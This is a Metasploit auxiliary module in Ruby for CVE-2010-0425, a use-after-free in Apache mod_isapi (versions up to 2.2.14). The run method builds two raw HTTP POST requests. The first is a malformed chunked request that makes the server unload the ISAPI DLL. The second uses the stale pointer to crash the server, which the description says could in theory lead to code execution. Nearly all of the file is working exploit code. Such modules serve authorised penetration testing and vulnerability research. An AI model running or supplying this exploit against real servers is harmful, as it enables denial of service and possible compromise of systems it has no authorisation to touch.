/
apache_mod_isapi.rb
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/
apache_mod_isapi.rb
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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache mod_isapi <= 2.2.14 Dangling Pointer',
'Description' => %q{
This module triggers a use-after-free vulnerability in the Apache Software
Foundation mod_isapi extension. In order to reach the vulnerable code, the
target server must have an ISAPI module installed and configured.
By making a request that terminates abnormally (either an aborted TCP connection or
an unsatisfied chunked request), mod_isapi will unload the ISAPI extension. Later,
if another request comes for that ISAPI module, previously obtained pointers will
be used resulting in an access violation or potentially arbitrary code execution.
Although arbitrary code execution is theoretically possible, a real-world method of
invoking this consequence has not been proven. In order to do so, one would need to
find a situation where a particular ISAPI module loads at an image base address
that can be re-allocated by a remote attacker.
Limited success was encountered using two separate ISAPI modules. In this scenario,
a second ISAPI module was loaded into the same memory area as the previously
unloaded module.
},
'Author' =>
[
'Brett Gervasoni', # original discovery
'jduck'
],
'Version' => '$Revision$',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-0425' ],
[ 'OSVDB', '62674'],
[ 'BID', '38494' ],
[ 'URL', 'https://issues.apache.org/bugzilla/show_bug.cgi?id=48509' ],
[ 'URL', 'http://www.gossamer-threads.com/lists/apache/cvs/381537' ],
[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ],
[ 'EDB', 11650 ]
],
'DisclosureDate' => 'Mar 05 2010'))
register_options([
Opt::RPORT(80),
OptString.new('ISAPI', [ true, 'ISAPI URI to request', '/cgi-bin/SMTPSend.dll' ])
])
end
def run
serverIP = datastore['RHOST']
if (datastore['RPORT'].o_i != 80)
serverIP += ":" + datastore['RPORT'].to_s
end
isapiURI = datastore['ISAPI']
# Create a stale pointer using the vulnerability
print_status("Causing the ISAPI dll to be loaded and unloaded...")
unload_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
"Pragma: no-cache\r\n" +
"Proxy-Connection: Keep-Alive\r\n" +
"Host: " + serverIP + "\r\n" +
"Transfer-Encoding: chunked\r\n" +
"Content-Length: 40334\r\n\r\n" +
Rex::Text.rand_text_alphanumeric(rand(128)+128)
connect
sock.put(unload_trigger)
disconnect
# Now make the stale pointer get used...
print_status("Triggering the crash ...")
data = Rex::Text.rand_text_alphanumeric(rand(256)+1337)
crash_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
"Host: " + serverIP + "\r\n" +
"Content-Length: #{data.length}\r\n\r\n" +
data
connect
sock.put(crash_trigger)
disconnect
end
end